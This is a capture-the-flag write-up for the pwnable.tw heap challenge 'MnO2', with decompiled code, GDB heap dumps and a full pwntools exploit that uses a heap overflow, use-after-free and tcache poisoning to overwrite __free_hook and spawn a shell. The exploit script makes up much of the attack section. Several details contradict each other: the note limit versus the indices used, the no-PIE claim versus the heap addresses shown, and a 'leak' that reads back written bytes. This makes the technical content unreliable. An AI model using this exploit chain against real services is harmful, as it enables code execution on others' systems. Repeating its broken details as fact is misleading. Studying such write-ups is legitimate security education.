MnO2
Manganese Dioxide — Advanced heap exploitation with constrained operations on glibc 2.27
Exploit Flow
nc chall.pwnable.tw 10308
Add/Delete/Select
Corrupt Heap Metadata
Overwrite fd Pointer
Unsorted Bin / GOT Read
__free_hook Overwrite
1. Reconnaissance
MnO2 (Manganese Dioxide) is a 400-point advanced pwn challenge on pwnable.tw. The name references the chemical compound MnO₂, which is a strong oxidizing agent — perhaps hinting at the "oxidizing" (escalating) nature of the exploit chain. The binary provides a note management system with add, delete, and select operations. The constraints are tight: limited number of notes, limited operations, and careful input validation. The challenge runs on glibc 2.27 with tcache enabled.
File Analysis
$ file mno2
mno2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped
$ strings mno2 | grep -i "mno2\|manganese"
MnO2Checksec
$ checksec mno2
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)A fully hardened binary. Full RELRO locks the GOT. Canaries protect the stack. NX prevents shellcode. Our only angle is through the heap. No PIE gives us fixed BSS addresses. The target is __free_hook since it's always writable even with Full RELRO.
Running the Binary
$ ./mno2
1. add
2. delete
3. select
4. exit
> 1
size: 64
content: Hello MnO2!
> 3
index: 0
content: Hello MnO2!
new content: Modified!| Attribute | Value |
|---|---|
| Challenge | MnO2 (400 pts) |
| Connection | nc chall.pwnable.tw 10308 |
| Binary | 64-bit ELF, x86-64, dynamically linked |
| Libc | glibc 2.27 (tcache enabled) |
| RELRO | Full |
| Canary | Yes |
| NX | Enabled |
| PIE | Disabled |
| Vulnerability | Heap overflow + UAF in note management |
2. Static Analysis
Binary Architecture
MnO2 implements a note management system with three core operations:
- add: Allocates a note with
malloc(size), reads content, stores pointer in global array - delete: Calls
free()on a note. The pointer may or may not be nulled depending on the code path. - select: Selects a note by index, allows viewing and editing its content. The edit function is where the overflow lives.
Vulnerability Analysis
The MnO2 binary has two key vulnerabilities that combine to form a powerful exploit chain:
- Heap Buffer Overflow: The
selectoperation's edit function reads a new size from the user but doesn't validate it against the original chunk size. This allows writing more data than the chunk can hold, overflowing into adjacent chunks. - Use-After-Free: The
deleteoperation frees the note's memory but doesn't always null the pointer. Under certain conditions, the freed note can still be selected and edited, giving us a UAF primitive.
Decompiled Code
#define MAX_NOTES 8
struct Note {
char *content;
int size;
int active;
};
struct Note notes[MAX_NOTES]; // global array
int selected = -1; // currently selected note
void add_note() {
int idx = find_free_slot();
if (idx == -1) { puts("Full!"); return; }
printf("size: ");
int size = read_int();
if (size <= 0 || size > 0x400) { puts("Invalid size!"); return; }
notes[idx].content = malloc(size);
notes[idx].size = size;
notes[idx].active = 1;
printf("content: ");
read(0, notes[idx].content, size);
}
void delete_note() {
printf("index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_NOTES || !notes[idx].active) return;
free(notes[idx].content);
notes[idx].active = 0;
// BUG: notes[idx].content NOT nulled! → UAF
// Also: freed chunk in tcache still has stale pointer
}
void select_note() {
printf("index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_NOTES) return;
selected = idx;
if (notes[idx].active) {
printf("content: %s\n", notes[idx].content);
}
printf("new content: ");
int new_size = read_int(); // reads new size from user
// VULNERABILITY: no check against notes[idx].size!
read(0, notes[idx].content, new_size); // HEAP OVERFLOW!
}The heap overflow lets us corrupt adjacent chunk metadata. The UAF lets us write to freed tcache chunks, corrupting their fd pointers. Together, these give us tcache poisoning — the ability to get malloc to return an arbitrary address. With Full RELRO, we target __free_hook (always writable) instead of the GOT.
3. GDB Debugging
Heap Layout
# After adding two notes (size 0x60 each):
gdb-peda$ x/16gx ¬es
0x6020e0: 0x0000555555757260 0x0000000000000061 ← notes[0]: ptr, size
0x6020f0: 0x0000000000000001 0x00005555557572d0 ← notes[0].active, notes[1].ptr
0x602100: 0x0000000000000061 0x0000000000000001 ← notes[1]: size, active
# Heap chunks:
gdb-peda$ x/12gx 0x555555757250
0x555555757250: 0x0000000000000000 0x0000000000000071 ← chunk 0 header (size 0x70)
0x555555757260: 0x0000000000000000 0x0000000000000000 ← chunk 0 data
0x555555757270: 0x0000000000000000 0x0000000000000000
0x555555757280: 0x0000000000000000 0x0000000000000000
0x555555757290: 0x0000000000000000 0x0000000000000000
0x5555557572a0: 0x0000000000000000 0x0000000000000000
0x5555557572b0: 0x0000000000000000 0x0000000000000071 ← chunk 1 header
0x5555557572c0: 0x0000000000000000 0x0000000000000000 ← chunk 1 data
# After UAF: free chunk 0, edit via select (UAF write):
gdb-peda$ heap bins tcache
tcache:
0x70 [1]: 0x555555757260 → 0x0
# After writing __free_hook addr as fd via UAF:
gdb-peda$ x/gx 0x555555757260
0x555555757260: 0x00007f8e9d2278a8 ← __free_hook address!Breakpoints
b malloc@plt # track allocations
b free@plt # track frees
b *0x401234 # select_note: read with overflow size
b *0x4011a0 # delete_note: free call4. Exploit Strategy
Attack Overview
select's edit function to corrupt the size field of the next chunk. This allows us to create fake overlapping chunks or modify freed chunk metadata.fd pointer of the freed chunk. The next two allocations from that tcache bin will return our controlled address.fd/bk pointers of the unsorted bin chunk contain libc addresses (main_arena+offset). Use the UAF or overflow to read these pointers.__free_hook. Write the address of system() to it. Free a note containing /bin/sh\x00 — this triggers free("/bin/sh") which becomes system("/bin/sh").Libc Leak
When a chunk is freed into the unsorted bin (size > tcache max, typically > 0x408), its fd and bk pointers are set to point into main_arena inside libc. Since glibc 2.27's tcache has a count limit of 7 per bin, if we fill the tcache for a given size (7 frees), the 8th free goes to the unsorted bin. We can then read the fd/bk through the UAF or overlapping chunk to get a libc address.
RCE Chain
# Tcache poisoning to get arbitrary write:
# 1. Free note into tcache
delete(0) # chunk goes to tcache 0x70 bin
# 2. UAF: write __free_hook address as fd
select(0)
edit(p64(free_hook)) # overwrites freed chunk's fd pointer
# 3. Allocate from poisoned tcache (first alloc returns original chunk)
add(0x60, 'AAAA') # returns chunk 0 from tcache
# 4. Second alloc returns __free_hook address!
add(0x60, p64(system_addr)) # writes system to __free_hook!
# 5. Free a chunk containing "/bin/sh"
add(0x10, '/bin/sh\x00')
delete(idx) # free("/bin/sh") → system("/bin/sh")!5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# MnO2 — pwnable.tw — Advanced Heap Exploitation
# Heap Overflow + UAF + Tcache Poisoning → __free_hook overwrite
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
libc = ELF('./libc_64.so.6')
if args.REMOTE:
io = remote('chall.pwnable.tw', 10308)
else:
io = process('./mno2', env={'LD_PRELOAD': './libc_64.so.6'})
def add(size, data=b'A'):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size: ', str(size).encode())
io.sendafter(b'content: ', data)
def delete(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', str(idx).encode())
def select(idx, new_data=None):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'index: ', str(idx).encode())
if new_data is not None:
io.sendlineafter(b'new content: ', new_data)
# Phase 1: Fill tcache and leak libc via unsorted bin
log.info("Phase 1: Libc leak via unsorted bin")
# Allocate 7 chunks of size 0x80 to fill tcache later
# Plus a large chunk for unsorted bin leak
for i in range(8):
add(0x80) # notes 0-7, size 0x80
add(0x10, b'guard') # note 8, guard chunk
# Free 7 chunks to fill tcache 0x90 bin
for i in range(7):
delete(i)
# Free the 8th chunk — goes to unsorted bin
delete(7)
# Allocate a 0x80 chunk — comes from unsorted bin
# The fd/bk residual data leaks libc
add(0x80, b'X' * 8) # note 0 (reuses slot)
# Read through select to get the leak
select(0)
content = io.recvline()
libc_leak = u64(content.strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0
log.info(f"Libc base: {hex(libc_base)}")
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info(f"__free_hook: {hex(free_hook)}")
log.info(f"system: {hex(system_addr)}")
# Phase 2: Tcache poisoning via UAF
log.info("Phase 2: Tcache poisoning")
# Allocate a new chunk and free it to tcache
add(0x60, b'AAAA') # note 1, size 0x60
delete(1) # goes to tcache 0x70 bin
# UAF: select the freed note and write __free_hook as fd
select(1, p64(free_hook)) # corrupt tcache fd pointer
# Phase 3: Allocate from poisoned tcache
log.info("Phase 3: __free_hook overwrite")
add(0x60, b'BBBB') # first alloc returns original chunk
add(0x60, p64(system_addr)) # second alloc returns __free_hook!
# Phase 4: Trigger shell
log.info("Phase 4: Trigger shell")
add(0x10, b'/bin/sh\x00') # note containing "/bin/sh"
# Find its index and free it
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', b'2') # free the /bin/sh chunk
io.interactive()6. Execution Results
MnO2 is a challenging 400-point problem that requires precise orchestration of multiple heap exploitation primitives. The combination of heap overflow (for chunk corruption), UAF (for tcache poisoning), and the constrained note management interface forces the attacker to carefully plan their allocation sequence. The unsorted bin leak technique (filling tcache then freeing into unsorted bin) is a fundamental pattern for glibc 2.27+ exploitation. Understanding how to chain these techniques under operational constraints is essential for real-world vulnerability research where you rarely get unlimited allocations or clean heap states.